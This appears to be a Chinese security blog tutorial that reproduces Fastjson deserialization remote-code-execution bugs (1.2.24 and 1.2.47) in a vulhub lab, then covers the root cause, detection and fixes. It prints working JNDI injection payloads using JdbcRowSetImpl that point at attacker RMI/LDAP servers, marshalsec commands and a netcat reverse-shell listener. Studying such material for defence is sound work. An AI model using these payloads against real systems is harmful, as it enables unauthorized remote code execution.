04-Fastjson反序列化漏洞

免责声明

本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、Fastjson介绍

2、漏洞复现

2.1、1.2.24 RCE CVE-2017-18349

  1. vulhub启动靶场

    启动成功

  2. Kali 用marshalsec启动LDAP/RMI服务

  1. Kali 用python启动HTTP服务,存放恶意类

这是我们的恶意代码

在jdk的bin目录下编译恶意文件

可以通过访问看有没有启动成功

  1. Kali 用netcat监听端口,建立反弹连接
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473

5、发送payload

bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188

{ 

	"b": { 
			"@type": "com.sun.rowset.JdbcRowSetImpl", 
			"dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch", 
			"autoCommit": true
	}
}

结果

先后连接成功


8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件

2.2、1.2.47 RCE CNVD-2019-22238

绕过原理

在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

  1. 启动靶场
  2. kali启动监听
bash 复制代码
nc -lvp 9001
  1. Kali 用marshalsec启动LDAP/RMI服务
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
  1. 恶意类,对其进行编译等等。跟上面步骤一样。
  2. 放入到对应文件夹中并启动http服务
  3. 发送payload
bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268

{
  "a":{
      "@type":"java.lang.Class", 
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{ 
      "@type":"com.sun.rowset.JdbcRowSetImpl", 
      "dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers", 
      "autoCommit":true
  }
}

连接成功

3、漏洞原理

1、序列化字符准备类名、dataSourceName属性和autoCommit属性

2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()

3、setAutoCommit()调用connect()

3、connect()调用lookup()连接到LDAP/RMI服务器

4、下载恶意代码到本地,执行,攻击发生

4、漏洞挖掘思路

  1. 找到发送JSON序列化数据的接口
  2. 判断是否使用fastjon
    非法格式报错
    {"x":"

Burp 插件

https://github.com/zilong3033/fastjsonScan

5、漏洞修复

  1. 升级JDK
    6u211 / 7u201 / 8u191 /11.0.1
  2. 升级Fastjson到最新版
    fastjson.parser.safeMode=true
  3. 使用安全产品过滤非法内容
  4. 更换其它序列化工具
    Jackson/Gson
相关推荐
pencek1 小时前
XCTF-web(一)
网络安全
00后程序员张4 小时前
iPhone相册导出到电脑的完整指南
websocket·网络协议·tcp/ip·http·网络安全·https·udp
柒玖zzz5 小时前
web-ssrfme
网络安全
ALe要立志成为web糕手5 小时前
LFI to RCE
安全·web安全·网络安全·文件包含·rce
小白&1236 小时前
SQLMap工具使用
web安全·网络安全
Factor安全7 小时前
Chrome漏洞可窃取数据并获得未经授权的访问权限
前端·chrome·web安全·网络安全·安全威胁分析·安全性测试
菜鸟vsc8 小时前
PHP序列化/反序列化漏洞原理
网络安全·php
xgxseven8 小时前
4.15BUUCTF Ez_bypass,HardSQL,AreUSerialz,BabyUpload,CheckIn
笔记·网络安全
还是鼠鼠11 小时前
Node.js 中 Token 原理简单介绍 + 示例代码
linux·vscode·中间件·node.js·编辑器·vim·express
weisian15112 小时前
中间件--ClickHouse-7--冷热数据分离,解决Mysql海量数据瓶颈
mysql·clickhouse·中间件